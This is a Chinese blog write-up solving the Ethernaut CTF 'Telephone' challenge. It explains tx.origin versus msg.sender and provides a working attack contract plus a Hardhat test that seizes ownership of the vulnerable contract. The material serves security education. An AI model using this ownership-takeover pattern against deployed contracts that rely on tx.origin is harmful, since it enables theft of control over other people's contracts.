开坑使用Hardhat闯关Ethernaut CTF题,提高合约和测试脚本的能力,后续也会增加Paradigm CTF的闯关题目。
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Telephone {
address public owner;
constructor() public {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
这道题就是理解tx.origin
和msg.sender
的区别:https://ethereum.stackexchange.com/questions/1891/whats-the-difference-between-msg-sender-and-tx-origin 也就是说msg.sender
不一定是个人地址,有可能是合约地址,tx.origin
一定是个人地址,一般在写合约尽量不要使用tx.origin
,会判断失误出现bug。
解题思路:1.创建攻击合约;2.用攻击合约去调用changeOwner
,满足tx.origin != msg.sender
;
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
interface Telephoneinterface {
function changeOwner(address _owner) external;
}
contract AttackTelephone {
Telephoneinterface telephone;
address public owner;
constructor(address _telephone) public {
telephone = Telephoneinterface(_telephone);
owner = msg.sender;
}
function attack() public {
telephone.changeOwner(owner);
}
}
const { expect } = require("chai");
const { ethers } = require("hardhat");
const { MaxUint256 } = require("@ethersproject/constants");
const { BigNumber } = require("ethers");
describe("test", function () {
var Telephone;
var AttackTelephone;
it("init params", async function () {
[deployer, ...users] = await ethers.getSigners();
});
it("deploy", async function () {
const TelephoneInstance = await ethers.getContractFactory("Telephone");
Telephone = await TelephoneInstance.deploy();
const AttackTelephoneInstance = await ethers.getContractFactory("AttackTelephone");
AttackTelephone = await AttackTelephoneInstance.connect(users[0]).deploy(Telephone.address);
});
it("hack test", async function () {
expect(await Telephone.owner()).to.equal(deployer.address);
await AttackTelephone.attack();
expect(await Telephone.owner()).to.equal(users[0].address);
});
});
Github:hardhat测试仓库
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!